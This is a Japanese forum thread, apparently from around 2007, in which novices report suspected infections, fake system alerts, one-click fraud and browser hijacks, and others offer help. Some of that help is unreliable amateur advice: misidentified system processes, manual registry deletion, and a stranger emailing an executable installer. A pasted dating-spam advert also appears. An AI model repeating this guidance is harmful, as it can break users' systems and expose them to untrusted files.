>>415と同じ症状なんだが・・・

会社のPCは　VAIOのvista
先週の木曜日から>415の症状と同じだけどｓではなく数字の9でなってる
同じ症状の報告がないかとうろついてみたが
他ｽﾚでｎの症状が一人いただけ。

会社だから他のPC使えば済むけどｳｨﾙｽ？故障？と困っていた。
なにせ　電源入れて立ち上げると警告音が鳴るんだから・・・・
購入して3ヶ月目　（ｵﾌｨｽOA機器業者から購入）
ｷｰﾎﾞｰﾄﾞが原因とも思えないんだが？やっぱ不良品か？

PCの使用者に何をしたか聞いたら　ﾌﾞﾛｸﾞ散歩してただけと言う。
ま、問い詰めても本当のことは言わんだろうが・・・
ｾｷｭはﾉｰﾄﾝのお試し期間終わってﾊﾞｽﾀｰのお試し中

さて、やはり故障ですかね？

>>415
それ俺も経験あるｗｗｗ
でもSキーはちゃんと使えたな。
なんか勝手にssssssssssって出るんでしょ？
解決方法不明です、でも自分は勝手に直りました。

>>418
自分の予想ではキーボードの故障、もしくは本体の故障でしょうね。
ちなみに自分のPCは買ってから6年になります。

カーソルが勝手に右に左に飛んで行きます。
治りますか？

パソコン超初心者です。
ケータイから失礼します。

本日パソコンが届き無事接続出来たので、ウイルス対策もしないまままずはメールアドレスを変更しようとしたら、途中で
「メッセンジャサービス」というものが表示されました。

FROMからTOへのメッセージと書いてあり、その下には

STOP! WINDOWS REQUIRES IMMEDIATE ATTENTION.
Windows has found55 Critical System Errors.
　　　　　　　　　　　　と続きます。
そして1〜4までの項目に分かれて英文が書いてあり、最後に

FAILURE TO ACT NOW MAY LEAD TO SYSTEM FAILURE!　　　　　　　　　　　　　で閉めてあります。

なんだかわからず一度切断してもう一度最初からやろうとしたら、今度は次のページに進むのに5分程掛かってしまうようになり、それでもなんとか進めるとやはり先程のメッセンジャサービスというのが表示され、アプリケーションエラーというものまで出てきてしまいました。

NTTに電話して聞いてみたところ、ウイルスの可能性があると言われましたが、どうしたらいいのかまったくわかりません。

パソコン持つのは初めてなのでこれ以上自分で勝手にいじるのは怖いです。

どうすれば治るのか、どうすれば感染してるかどうかわかるのか教えてください。
お願いしますm(__)m

パソコンのデータが初期化されてた。だが自分がダウンロードしたアプリ(？)はちゃんと存在してる。一体どうなってるの？教えてエロい人？

最近ネット中に

microsoft visual c++ runtime library

runtime error!

program:c\program files\internet explorer\iexplore.exe

r6025
-pure virtual function call

ok　←クリックできるようになってる


と出るんですが、これって何でしょうか

>>419　レスありがとうございました。

明日、業者に連絡取ります。

>>421
それは無視して良いもの。いわゆるスパムのたぐい。
パソコンつけても良いからここ読みなされ↓
http://www.higaitaisaku.com/messengerspam.html

ネットに久し振りにつないだらシステムドクターっのがでてきて
システムエラーを発見しました直さないと大変なことになります みたいなふうになったんですが… ちなみにシステムドクターは登録料がかかるそうです… 無視したら駄目かな？

>>426
無視でOK。念のためウィルスチェックがよろし。
http://ratan.dyndns.info/avast4/systemdoctor2006.html

パソコンが、ログイン後の画面から操作できなくなり困っています。
「スタート」を押しても一瞬で消えてしまい、クリックする事もできません。

デスクトップのショートカットは使えるようなので色々開いてみましたが
「ファイル」や「お気に入り」は開けません。
昨日は普通に使えて、問題なく終了したのですが…

どんな原因がありますか？
どうか対策を教えてください。

再起動したらみょみょみょみょみょっと音がします。
ウイルスかと思ったけど部品が変なのかな…
泣きそうになってきたので明日サポートセンターに電話して、修理してもらう事にします。
それでは。

原田ウィルスＯＯと言うを開いてしまった。
取りあえず電源プチ
↓
再起動、CドライブにHOHと変なフォルダ発見　削除
↓
色々調べてKINGSOFTのウィルスバスターインストール　ファイルスキャン
↓
スキャン中にProgram Filesの中に原田ウィルスＯＯの画像を手動で発見　削除
↓
いまだスキャン中　結構テンパリ気味

どうすればいいんだろ
とりあえずシステム復元でもしてみるかな・・

Documents and Settingsの自分の名前のファイルのCookies
に原田ウィルスの画像があった・・・・
システム復元したのにな
Cookiesはウインドーズの機能に大切な・・・で消せないし
どうすればいいんですか〜神様

知り合いからメッセで来たファイル解凍して実行したら原田ウイルス００でしたよっと
フォルダのアイコンに偽装されてて気が付かなかった
あとVistaのせいだわ･･･
とりあえずどうしようか俺

今までの感染状況確認してみたところC,Dドライブ以下には何もしてない気がする
更新日時を見た限りではウイルス感染後に落としたセキュリティソフト以外の更新がなかった
感染した部分はユーザー別のお気に入りの一部のBmP化とデスクトップにあるフォルダと
IE、ごみ箱等のショートカット以外のBmP化が今の所わかる症状
BmP化したのを戻せる事ができたら感染前の状況に戻ると考えている俺は甘いかな？
山田系な動作しても流出して困るようなデータがないもんで

この間ネットで画像のリンク開いたらおヌード写真が出て
いきなりOUTLOOKセットアップウィザードが開いた。
キャンセルしたら固まったんでCtrl+Alt+Delで写真閉じたら
問題なく使えるようになったが･･･
なんか気持ち悪いのでこれが何だったのか分かる人教えて

>>434

原田ウィルスMK-�U
ｵﾜﾀorz

下のURLを踏んでしまいました

ttp://news-club.jp/register1.php?top=view&blog=a

そしたら黒い画面？で何か文字がズラズラと出てきたので慌てて閉じました。
レジストリって書いてあるし、こわいよう・・・これってウイルスですか？

カーソルが勝手に右に左に飛んで行きます。
治りますか？

Autoit.AE.5というトロイが検出されたんだけど、
これ未出？
それとも誤検出？
シマンテック他を検索しても出てこないし、
他のautoitの亜種と考えればいいんかな


>>436
DOS使ったただの振り込め詐欺


>>437
マウス抜いて挿しなおしてみれ

>>438
ありがとうございました
ご指摘の通り「ウイルスはダメ」でした。
とりえあえずspybotとかで調べてみます。

>>439
autoitは別件の話だから気にしなくてもいいよ
紛らわしい書き方してすまんかった

インターネットをしてると突然変なサイトが新しいウィンドウででてきます。
なにか解決策はありますか？

>>441
http://www.asciisolutions.com/products/adaware/index.html
これ試してみなされ。

パソコンを操作していると、突然マウスによる操作ができなくなったり
（ちなみにマウスは「PC → キーボード → マウス」の順にUSBで接続されており
マウスによる操作ができなくなったときでもキーボードによる操作は可能）
またPCに直につないでいるUSBゲームコントローラのボタンを入力しても反応がなかったりします
長期間使用によるUSBの配線の劣化や接続不良が原因と考えておりウイルスの可能性は低いと思っているのですが
万が一ということもありますので質問させていただきました
このような症状に心当たりはありませんでしょうか？

備考
マウスもコントローラーも一回はずしてまた繋ぎなおしてカチャカチャやると
まともに操作できるようになります

システムドクターってのがパソコン開く度にでてくる…削除してもしばらくすると復活するし…
あとネットしてたらいきなり洋楽？みたいなのが流れ出したネット閉じても流れてる
これってなにかな？

>>445
http://ratan.dyndns.info/avast4/systemdoctor2006.html
これでもだめかな。

これの症状だったんでスーパーアンチウイルスダウンロードしてます 説明どうりに使えば解消できるかな？

解決しました>446さん
ありがとうございました 画面切替もスムーズになりました。ウイルスのせいだったのかな〜

ちなみに駆除した？ウイルスのなかにトロイアンなんたらがあったんですがこれがトロイなんですか？友達にきいたらトロイはやばいっていわれたんで
ちゃんと消せたんかな…

キーボード入力が急に出来なくなってしまったんですけどウィルスですかね？

それともどこかロックを押してしまったのでしょうか？

わかる方よろしくお願いします。

普通のサイトを見ていて文字を入力しようとしたらいきなり画面が
最初の立ち上げの時の画面になってシャットダウンされました。
そのあと電源ボタンを押しても画面が真っ暗で何も映りません。
誰か分かる方対処の仕方を教えていただけませんか？

開いたブラウザを閉じたら、デスクトップの背景が自分の設定したものとは違うものになってたんですが、これって何ですか？
ウィルスに感染してるんですか？

わかる方、教えてください。

>>445

オレとまったく同じ症状・・
なおった？

でオレもアンチでスキャンして削除
再起動してもう一度スキャンしたら

またadware.tracking cookieが出てきた･･

６回繰り返したらやっと全部破壊したみたい、お騒がせ失礼

って全然消えてなかった・・

ttp://www.maskatt.com/index812.php/?na=812
上の動画を再生しようとしたら、新しいウィンドウが開いて登録完了となってしまいました。
よく読んだら有料で90000円とられると書いているのですが、どうすれば良いのでしょうか、教えてください。

>>457
ワンクリック詐欺だろ。無視でOK。
情報取られたように見せかけてるのもただのGIFアニメと思われ。
そもそも登録の前に内容が確認できないんだから契約が成立しない。

>>457
http://ja.wikipedia.org/wiki/%E3%83%AF%E3%83%B3%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E8%A9%90%E6%AC%BA
心配だったら↑見ておちつけ。
おれも落ち着いたｗ。

>>458
>>459
ありがとうございました。
登録完了と表示されたときに一瞬だけ、ファイルを保存するときのウィンドウが
開いてすぐに消えてしまったので情報を取られたかウィルスを入れられたかと
思って毎日不安でしょうがありませんでした。
自分も落ち着きました。
本当にありがとうございました。

ウイルスかどうか分からないんですけど、
youtubeなどで検索する時に最初必ず検索しようとする文字が消えるんです。
一回違うところをクリックしてもう一度検索すると普通にできます。
後、amazonで商品のレビューを見てたら文字が上下に揺れたりもします。
これ、何かのウイルスですか？わかりにくくてすいません。

>>461
おいらもそれなったけど、ウィルスチェックしてもなにもひっかからなかった。
大丈夫と思われ。
YouTubeの検索欄はなんかのひょうしでフォーカスが外れるだけみたいだから、
もう一回検索欄クリックしてやればOK。
amazonの方はわかんないや。多分特定のページでしか起きないと思う。
大半は大丈夫だった。

>>462
ウイルスじゃないんですね。安心しました。
ありがとうございます。

ウイルスバスター更新を怠ってたらネット繋げなくなるくらい完全にいかれた
やっぱり修理呼ばなくちゃ駄目？

>>464
モチロン。修理呼んでくだされ。

どうも俺もなんか凄いのに感染したみたいｗｗｗ
消しても復活するおｗｗｗ
サボってた罰かｗｗｗ

ファイル C:\System Volume Information\_restorウイルス 「Heur.Trojan.Generic」。の亜種として検知しました！
これはなんてウィルスでしょうか？どのような危険がありますか？

>>465
ついに、おなかまｗ
ソフトで検出されます？？

初心者って名乗りながらＩＤ隠れてる人って、
やっぱりproxy通して書き込みしてるの？(´・ω・｀)

windows98使ってるんだけどそろそろ限界の様だ
ウィルスで起動に１時間かかるんだ(;_;)

>>467
検出されないおｗｗｗ
こりゃもう駄目だｗ
俺はコイツと共存するｗｗｗ

>>469
ファイル名さらしましょw
exeファイル破壊された？？

すみません助けてください。
ＶｉｒｕｓＳｅｉｇｙｏって言うみたいなんですが
タスクバーに茶色で○の中に／が入ったマーク（駐禁の標識みたいな）
が住み着いて警告出まくりで、ノートン・マイクロソフトやセキュリティーに
関するサイトにアクセス出来ず対処法も調べられません。
コントロールパネルも消えました。
どうしたら良いのかご存知の方おられましたらご教授くださいませ。

なんかとつぜん｢禿鷹｣って名前の新規フォルダ作られて、スキャンしてもウイルスは検出されなかった。
一週間ぐらいたってるけど何もない。でも怖いです

>>435

まぢで？？！！！

peercastで配信視聴してたら誰かの送ったウイルスに感染された
突然、長文の英語が書かれたブルースクリーンが表示され
強制的に再起動されたのですが、立ち上がりが遅かったから
シャットダウンして再起動し直した。それからＰＣが可笑しくなった
カタッカタッと鳴り続けて｢operating system not found｣と表示される
リカバリーも出来なくてどうすれば良いのか分かりません
助けて ください

>>474
ウィルスにOS破壊されたと思われ。
OSのCDをCDドライブにつっこんで、CDから起動する。
HD読みに行っちゃうようだったら起動順位を変える。
パソコン起動した最初の画面にPush XX Key To enter BIOS SETUPとかあるから
猶予時間のうちにそのキーを押す。
BIOSセットアップ画面になったらBoot Diskの項目を探して一番最初にCDドライブを持ってくる。
セットアップ画面はSave＆Quitで終わらせる。操作方法は英語だけどそのまんま書いてある。

CDから起動したら修復セットアップを試みる。
単語が違ったらなんかそんな感じの選んで。
新規インストールはしちゃだめ。データが全部消える。
修復セットアップできればデータの損失は最小限ですむと思う。

>>474
今後もそのPeerCastがやりたいならリアルタイム監視してくれるウィルス対策ソフト入れなされ。
ノートンとか。

ちょっと助けてください

俺のIＥにアクセスしたら
http://www.esenruzgar.net　のサイトにいっちゃうんです
・・・見ない方がいいです
そのサイトの左上には何か　紫色の丸い星に雷の輪　があるんです
俺のデスクに変なものが3つくらいでてきて消せないし
ツールでホームページを変えようと思ったら
書き直せないようにしてあるんです・・・

でもＭＳＮっていうデスクにあるものをアクセスしたら
インターネットできるんです
色んな人からはスパイウェアとか
ブラウザハイジャッカー　ホームページハイジャッカーなど言われました・・・

何か危険はありますか？
これをなおす対処法などあったら教えてください
ちなみに俺のパソコンはウィンのｍｅです

>>477
http://enchanting.cside.com/security/spyware.html
ここのAdAwareオススメ。

すいません。
このスレの存在を確認せずにスレ立ててしまったんですが…
同じコトを書かせて頂きます。

ttp://imepita.zz.tc/020070817
これ踏んでからネット回線は繋がるが、ネット開いても一切表示されず
「ページを表示できません。」のページに行ってしまうんです…
誰か助けてください。

あ、ちなみに今は専ブラです・・・

>>479
ネットが繋がらないなら市販のウィルス対策ソフト買ってくるしかあるまい。

シマンテック　セキュリティチェック
　　　(p)http://www.symantec.com/region/jp/securitycheck/index.html
もし繋がればだけどオンラインチェック。

>>478
あ　あの・・・
どうやったらいいんですか？
パソコン初心者なんで、お願いします

>>482
http://download.forest.impress.co.jp/pub/win/a/adawarese/aaw2007.exe
これクリックして保存して実行。
あとは画面の指示に従って進めばOK。

>>481
繋がりません…orz
一応ノートン先生入ってるんですが、やっぱりそれとは別物なんでしょうか？

>>483
クリックして保存しました
ダウンロードしてファイルを開いたんですが
ok　を押すとエラーって出てきて、なにも起きないんですが・・・

>>485
俺のはｍｅなんで・・・
対応してないとかじゃ、ないですよね？

↑
間違えました　>>483です

>>486
http://fileforum.betanews.com/download/Spybot_Search_and_Destroy/1043809773/1
こっち試してみて。
自動でダウンロードが始まると思う。
だめだったらこっちのDownLoad Nowから落としてください。
http://fileforum.betanews.com/detail/Spybot_Search_and_Destroy/1043809773/1

>>486
http://enchanting.cside.com/security/spybot2.html
ごめ。使い方ここ。

マカフィーでウイルススキャンしたら
New Malware.ai（トロイの木馬）って
ログがあったんだけど、これウイルスですか？

もしかしてJS　WindowBombとかいうコレが原因ですか？
ノートン見たら「完全に削除しました」って書いてあったので安心していたんｄねすが

>>490
ウィルスです。
詳細はこちら。
http://www-06.ibm.com/jp/domino04/pc/support/beginner.nsf/btechinfo/SYB0-01937CD

>>484
わりぃ。返事遅くなった。
とりあえずCtrl+Alt+Deleteでタスクマネージャー起動して、
プロセスの一覧貼ってくれないかな。怪しいプロセスググってみるよ。
怪しい奴がわかったらそいつプロセス終了して、ファイル検索して削除。
OK？。

>>493
すいません、プロセスの一覧をここに貼る方法がわからないのですが…
迷惑をおかけします

>>494
すまん。コピペできないので、手で全部打ってくだされ。

>>495
わかりました。ちょっと待っていてください…
イメージ名だけでいいんでしょうか？

>>496
OK

出来ました･･･こんな感じです

mysqld-nt.exe
wdfmgr.exe
ULCDRSvr.exe
svchost.exe
RichVideo.exe
ccSvcHst.exe
AluSchedulerSvc.exe
AppleMobilrDeviceService.exe
VersionCueCS2.exe
usnsvc.exe
comHost.exe
alg.exe
iPodService.exe
NMIndexingService.exe
Jane2ch,exe
explorer.exe
mixi.exe
CMAudioDm.exe
NMIndexStoreSvr.exe
spoolsv.exe
AppSvc.exe
ccSvcHst.exe
svchost.exe
msnmsgr.exe
NMBgMonitor.exe
ctfmon.exe
svchost.exe
svchost.exe
iTuneHelper.exe
svchost.exe
svchost.exe
lsass.exe
services.exe
winlogon.exe
csrss.exe
taskmgr.exe
realsched.exe
smss.exe
ccApp.exe
acrotray.exe
VersionCueCS2Tray.exe
PDVDServ.exe
RTHDCPL.exe
igfxpers.exe
hkcmd.exe
igxtray.exe
System
System Idke Process

>>498
今調べ中です。
OS教えてくれるとありがたい。

>>499
WindowsXPHomeEditionnです。

ちなみに…WindowsBombでIEが壊されてるならIE再インストールすればいいのかもとか考えましたが…どうなんでしょう？？？？
それだと今はVer7しかないんですよね・・・

>>500
WindowsBombだとちょっと症状が違うみたい。大量にIEのWindow出すだって。
で、おまたせ。
怪しい奴ら。
・AppSvc.exe ←こいつ消せないかも。もちっと探してみる。
・Isass.exe
ここまでは殺しちゃってOK。ファイルも検索して削除。
以下は要注意。Windowsのディレクトリにいるのが贋物で削除対象。
WindowsのSystem32フォルダの中のは本物だから残しとく必要あり
先にファイル削除しようとしてできなかったらプロセスを殺す順番で。
・Services.exe
・Winlogon.exe
・csrss.exe
・smss.exe
・acrotray.exe

>>500
もし間違ってシステムのファイル消しちゃったらCDからブートしてリカバリとか復旧が必要になると思います。

とりあえず
・AppSvc.exe
・Isass.exe
を探って削除して、以下4つはＳｙｓｔｅｍ３２っていうフォルダの中以外のものを削除すればいいんですね？？

>>503
それでOK。
AppSvcが消せなかったらセーフモードからやってみるといいと思う。

>>504
その前に「プロセスの終了」ですか？

検索が途中でエラーに変わるんですが･･･

やっぱり消せませんでしたorz
そして初心者ゆえにセーフモードのやり方を教えていただけると嬉しいです

>>506
Windowsが起動するときに(たぶん)「F8で問題解決どうのこうの」ってメッセージが出るので
そこでF8を押す。
選択メニューが出てくるので「セーフモードで起動」する。
セーフモードならなんとかなると思う。

あと、「ファイルとフォルダすべて」で検索をかけても「Isass.exe」が見つからず
「ドキュメント」で検索すると途中でエラーが出る模様です

>>508
エクスプローラーのツール→フォルダオプションから
すべてのファイルとフォルダを表示する。
に設定を変えてください。

とりあえず今から再起動してセーフモードにしてみようと思います

先走ってすいません。
>>510の前に>>509で実行します

>>509を実行したのですがそれでも出ませんでした
とりあえずセーフモードに移行してみようと思うのですがいかがでしょうか？

>>488
すみません　spybotをためしてみてスキャンしてみたら
ＣnsＭin　というのが出てきて２エントリと書かれていました
削除して、念のためセーフモードでもスキャンしましたが
何も発見されませんでした
でもスキャンしおわるとフリーズして真っ暗になって赤い線が
ビリビリっと入ってしまい、再起動してしまいました

ノーマルに戻してＩＥのホームページを見ましたが
やっぱりガッチリ書き直せないようにされています・・・
あと、デスクに
Cep Arkada_　と　Sanal Arkada_　というモノがあって
これがゴミに捨てようとしても、捨てれないようにされてるのです
もうどうしたらいいか・・・

>>513
Meだとシステムの復元があるから試してみてはどうかな。
その上でIEを対応してる最新バージョンにしてみる。

セーフモードでAppSvc.exeを削除してきました。

ただ、Isass.exeを検索しても見つからないのに加えて
Servicesで検索をかけてもどれを削除していいかわからず、また、Services.exeで検索をかけても一つしかフォルダが出てこないという事態に陥りました
（Ｗｉｎｄｏｕｗｓ３２のものしか出てきませんでした）

ここまで世話になっておいてあつかましいのかもしれませんが、どうすればよいか教えていただけないでしょうか？

>>515
そういう状態であればServices.exeは消さなくても良いです。
Isass.exeはレジストリエディタで探してください。該当のエントリがあったら削除で
場所：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
値：
＜リストの値＞ = "＜Windowsシステムフォルダ＞\Isass.exe"

場所：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
値：
＜リストの値＞ = "＜Windowsシステムフォルダ＞\Isass.exe"

レジストリエディタは「ファイル名を指定して実行」にregeditと入力してください。
フォルダ形式になってるのでじゅんじゅんに開いていけばわかると思います。
なかったら…どうしよう。

えーとすいません。
レジストエディタで
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
まではたどりついたのですが、それ以降がよくわかりません。。
あと
値：
＜リストの値＞ = "＜Windowsシステムフォルダ＞\Isass.exe"
の意味も。

手取り足とりですいません＞＜

>>517
したらRunのフォルダが選択された状態で（多分青反転表示）、編集の検索で
「Isass.exe」探してみてください。
同じくRunserviceのほうも探してみてください。
見つかったら、名前のところをクリックしてDelキーで消してください。

>>518
なんかいっぱい出てきたんですが…
これ全部削除するんですか？
それとも「データ」のところに出た名前で判断？？？

>>514
システム復元しようとしましたが
８月１７日のしかありません、設定した覚えはないのですが
とりあえずokしてみると
spybotが反応して、レジストリを検知しました　みたいな事を言われて
許可する　許可しない　な事を言われてチンプンカンプンです
しかもすぐ問題が発生しました　など言われて
そのままフリーズしてしまいます・・・

しかも勝手になにやら　閉じる　という画面がでてきたり
何がなにやら・・・　すいません　

>>519
データのところに出た名前で判断してみてください。
Windows\Isass.exe
だと思います。

>>520
8月17日なのはシステムが自動でとっておいたものと思われ。
とりあえずセーフモードから復元してみてはどうだろ。
Spybot動かないと思うけど。

>>521
Windows\Isass.exe
というのはありませんでしたが、Ｉｓａｓｓ．ｅｘｅがあったので削除しました。
まだＩＥは繋がらない状態ですが、時間の問題なのでしょうか？
それとも他に作業を行うべきなんでしょうか？

>>523
最後に念のためセーフモードでウィルススキャンぐらいしか思い浮かばない。

>>523
どうしてもダメだったら最後の手段はシステムの復元するしか。
ヘルプを検索して下され。

>>524
ありがとうございました。スキャン終了しました。。
ＩＥは復活しませんでしたが…orz

やはり再インストールしかないのでしょうか…

hosts ファイルじゃないの？

>>522
セーフモードでシステムの復元をためして
spybotは反応しませんでしたが
８月１７日へのシステムの復元には数分かかりますと言われ
バーがのびていったんですが、最後まで行く途中で
画面が暗くなり、再起動してしまいました
しかも、失敗したといわれて３回・・・

それと、デスクにあるメールの形が変化していて
プロパティでみた所、リンク先の最後に　exe　と書いてあるのですが
これは大丈夫ですか？
あと、ＩＥのホームページを書き換えられて書き直せないようにされた事に
よって何か影響がありますか？
一応、前はＩＥからアクセスして通販などヤフーオークションなど
してたんですが、ゆういつインターネットできるＭＳＮで
今はココに書き込んでいます
ＭＳＮでヤフオクや通販をしても大丈夫なんでしょうか？
ＭＳＮで通販しようとしたら、ＩＥではカットされてたはずが
ＭＳＮではＩＤ登録して下さい　と言われました・・・
他の所もそうでした・・・
このＭＳＮでネットしてる事によって
講座番号や、そういうのを盗まれる　見られてる
なんて事はないかとても心配で眠れません・・・　お願いします・・・

>>526
システムの復元試して
だめだったらIEのみ再インストール
だめだったらOSの復旧インストール回復インストールかも。

IEのお気に入りはDocument and Settings\ユーザー名\Favoriteの中にあるから
そのままどっかにコピー。
再インストールしたらモトの場所にコピーでOK。

>>528
まずはIEのみ再インストール。最新版をMSから落とす。MeだとIE6だと思われ。
MSNもインターネットのアクセスにはIE使ってると思うんだけどな。
お気に入りのバックアップは>>529参照。

それでだめならOSのCDから起動して回復インストールか復旧インストール。
SPYBOTで検出できないなら口座番号は盗まれて無いと思う。
口座番号よりクレジットカードの番号や期限のほうが重要だけどね。

>>530
ＩＥのみ再インストールはどうやればいいのですか？
最新版をＭＳＮから落とす、ＭｅだとＩＥ６　などの
そこへたどり着く手順がわからずです・・・

>>531
返事遅れてごめんよ。ちょいと野暮用でね。
http://www.microsoft.com/japan/windows/ie/downloads/ie6sp1/default.mspx
ここの日本語版のDoenloadからどぞ。
画面の右側にある。

>>532
セットアップしますか？　と表示され、する　に印をつけたまま
次へ

同意する
次へ

ここからなんですが
・標準インストール−コンポーネントの標準構成
・最小構成インストール−またはブラウザのカスタマイズ
のどちらを選ぶかわかりません・・・

ちなみに、標準インストールを選択したまま次に行くと

全てのコンポーネントの最新バージョンが
既にインストールされています
再インストールせずにセットアップを終了させてください

と言われセットアップ終了を押すことに・・・
何か間違っていますか？
間違っていたら、教えてください

>>533
わからん。おいらの環境だと、全てのコンポーネントの最新バージョンが
の後に再インストールせずに終了か、コンポーネントの再インストールが表示される。
ちなみにいまのIEのバージョンわかるかな。
ヘルプ→バージョン情報ででてくる、6.0なんぼって数字。

>>533
もしよければ、MSN経由でうちのIE6セットアップファイル送ります。
↑の名前のところのメール宛てにMSNからメールください。こっちから登録します。

>>534　>>535
すみません、ヘルプ→バージョン情報の行き方が
わかりません・・・どうやってみるのですか？

ＭＳＮ経由でメールを送りたいのですが
そのやり方も初めての事で、操作がわからないです
お願いします

>>536
ヘルプはIEの一番上の欄にあるやつ。

MSNはMSNのメッセージのページ開いてメールの一覧左上にある新規作成をクリック
あて先に
>>535の名前のところを右クリックしてショートカットのコピー。
あて先にペースト(Ctrl+V)してください。そのとき先頭がMailto：になってるのでその部分は消してください。
件名はなにか適当にTESTとでもいれて、内容もてきとうで
画面左上の送信押してください。

>>537
ＩＥの方にアクセスすると、やはりフリーズしてしまいます・・・
しかも、パソコンの動きが鈍くなったような・・・
バージョンを見たくても、見る前にパソコンがジージー　っとなきます

メールというのは
ＭＳＮのホットメールというやつですか？
新規登録しないと駄目らしく、無料と書いてるほうでいいんですか？

>>538
ホットメールでOKです。
無料で新規登録してください。

>>539
こんな時に限ってホットメールにアクセスしたら
ページが表示されました　といいつつ画面が真っ白のままで
何もできないんですよね・・・

登録したら、ちゃんと送れてるかどうかわかりませんが
名前の所だけですか？
トリはいらないんでしょうか？

>>540
画面真っ白は画面再読み込みでなんとかならんかな。
IEのツールバーの矢印が二つ回ってるやつ。

いいや。メアド書いちゃえ。
[email protected]
までMSNからメールください。

>>541
のアドに送信しました

>>542
受け取りました。
MSNをオンラインに変えてください。
一番上のメニューから、ファイル→状態→オンライン
に変えてください。

>>543
一番左端のファイルですか？
クリックしましたが、状態　というのはないんですが
ファイルをクリックしてから、○○から状態へ
みたいなのはありますか？

本日21時貴方様に篠原智子様より指名がありました
ID：1685244
篠原智子
27歳
某ｴｽﾃｻﾛﾝｵｰﾅｰ令嬢
T164 B92(Eカップ) W57 H86
http://moro-ero.com/free/deai/
<<一日の内容詳細>>
内容：貴方様の希望の時間でのお付き合い
至急：貴方様の希望を最優先
当日費用・御礼は篠原智子様もちです。
指名受諾はﾆｯｸﾈｰﾑの最後に[Ｈ]をつけて登録後、篠原さんからのメールをお待ち下さい。
http://moro-ero.com/free/eonna/
※当サイトは登録・利用料全て頂きません。

>>544
MSN Messengerだよね？
サインインすればオンラインになると思うけど。

>>546
ホットメールというのからサインインしました
違いましたか？

>>547
スタートのプログラムの中にMSN Messengerてのがあるからそいつ起動してみて。

>>547
いいや。まずはメールで送ってみる。

>>548
スタート→プログラム→アクセサリ→通信→
ＭＳＮ Ｍessenger service　でいいんですか？

>>550
たぶんそれ。
メールも送ってみたからチェックしてみてくだされ。

>>551
メール届きました　さっきと同じで
このメールの添付ファイルの一部が安全でない可能性があるため、
添付ファイルにはアクセスできません。
と
安全確保のため、このメッセージに含まれている添付ファイル、
画像、およびリンクは無効にされました。
と、書かれています

>>552
了解。圧縮して送ってみる。LHA解凍できるソフトあるかな？。

持ってないです・・・

>>554
http://www.kazusoft.net/LHUT3246.EXE
これでいいと思われ。
落としてインストールしてくだされ。
メールは送りました。

>>554
の操作の仕方がわからないです・・・

あとメールは届いてました
開く　保存する　が出てきたんですがまだ無理なんですよね？
>>555のやり方お願いします

>>556
>>555のEXEダウンロードして実行するとさらにexeファイルができるからそいつをダブルクリック。
そうするとlzhファイルが関連付けされるので、送った添付ファイルを自分のHDに保存してダブルクリックで開けると思う。

>>557
何度もすいません
ＥＸＥダウンロードがよくわからないのですが・・・

>>558
http://www.katch.ne.jp/~k-ootake/LHUT3246.EXE
ごめん。こっちからクリックしてダウンロードしてください。

>>559
をクリックして保存しました
デスクに電子レンジみたいなのと、像みたいなのが
でてきました
電子レンジをダブルクリックした後、どうしたらいいのですか？

>>560
それでファイルの関連付けがされたと思うので、
さっきメールで送ったファイルを保存・ダブルクリックしてください。
そうするとインストーラーIE6setup.exeがでてくるので実行してください。

>>560
でダメだったらメールから保存したファイルを、象さんのアイコンにドラッグしてください。
そうするとファイルができると思います。

>>561
保存しました　デスクに象さんのアイコンで　ie6setup　と書いてます
ダブルクリックしてみたら

UNLHA32.DLLが見つかりません
エラーコード0×485
LHOT32はUNLHA32.DLLが無いと動作しません
と表示されました

>>562
のやり方がわかりません　お願いします

Win32/VMalum.OTFウイルスが検出されました。
と出たのですが、これは危険ですか？

>>563
http://park8.wakwak.com/~app/Lhaca/Lhaca076.EXE
ごめん。そしたらこっちでやってみて。
クリックして保存したらダブルクリックで起動。
関連付けのLZHとZIP両方ボタンを押してOKおす。
それから保存したie6setup.lzhをダブルクリック。
同じフォルダにir6setup.exeができるからそいつでIEのインストールを試みてください。

>>564
ググッても出てこなかった。
ウィルスならとりあえず消しとくのが吉。

>>565
やってみましたが
やはりうまくいきません・・・
選択するのは標準インストールでいいんですか？
その場合、初期化中と表示されて、のちに

全てのコンポーネントの最新バージョンが
既にインストールされています
再インストールせずにセットアップを終了させてください
・セットアップ終了
・再インストールする
と出てきて、再インストールを選択すると
何故か再起動してしまいます

>>567
最後の手段再インストール。
OSのCDをCDドライブにつっこんで、CDから起動する。
HD読みに行っちゃうようだったら起動順位を変える。
パソコン起動した最初の画面にPush XX Key To enter BIOS SETUPとかあるから
猶予時間のうちにそのキーを押す。
BIOSセットアップ画面になったらBoot Diskの項目を探して一番最初にCDドライブを持ってくる。
セットアップ画面はSave＆Quitで終わらせる。操作方法は英語だけどそのまんま書いてある。

CDから起動したら修復セットアップを試みる。
単語が違ったらなんかそんな感じの選んで。
新規インストールはしちゃだめ。データが全部消える。
修復セットアップできればデータの損失は最小限ですむと思う。

メインドライブのDocument And Settingsはどっかできれば別のドライブにバックアップとっておいたほうがいい。
MyDocumentのほかにIEのお気に入りとかも入ってる。
OSのデータでコピーできないファイルがあるとおもうからそれはコピーしなくて良い。

リカバリＣＤの事ですか？３枚あるんですけど
ボリューム１　２　３と・・・
あれのせいで選択を色々間違ったのか
インターネットができなくなった記憶があります・・・
完全に初期化してしまったといいますか・・・
マイドキュメントにある画像など
デスクにあるものを残しておくことは可能ですか？

また、別のドライブにバックアップとは何ですか？
なにかＣＤなど必要なんでしょうか・・・
ゲームのメモリーカード的ななにかが・・・

↑
すいません>>568にです

>>569
うぁ。リカバリＣＤだと工場出荷時に戻されちゃうからデータが全部すっとぶ。
ちょっと不便だけど今のまま使うしかないかなぁ。
ＭＳＮに繋がるし他のページも見れるようだし。
ＣＤが書き込めるやつＣＤ−ＲとかＣＤ−ＲＷならデータを書き込んで
リカバリしてデータを復旧させるてもあるけれど。
書き込むには書き込みソフトが必要。
http://www.forest.impress.co.jp/lib/sys/hardcust/cddvdburn/
こっからDeepBurnerを手に入れると良いと思う。

久々にパソコンつけたら
文字打つところに勝手に文字がどんどん
打たれるんですけど、これってウイルスでしょうか？
キーボードが調子悪いとかじゃないんです。
普通にメモとかだとならないんです。
ｐばっかり打たれて困るんです。ｐ

うけるｗｗｗおまえのあだ名ピーマンなｗｗｗｗｗｗｗ

>>571
やっぱりそうでしたか・・・
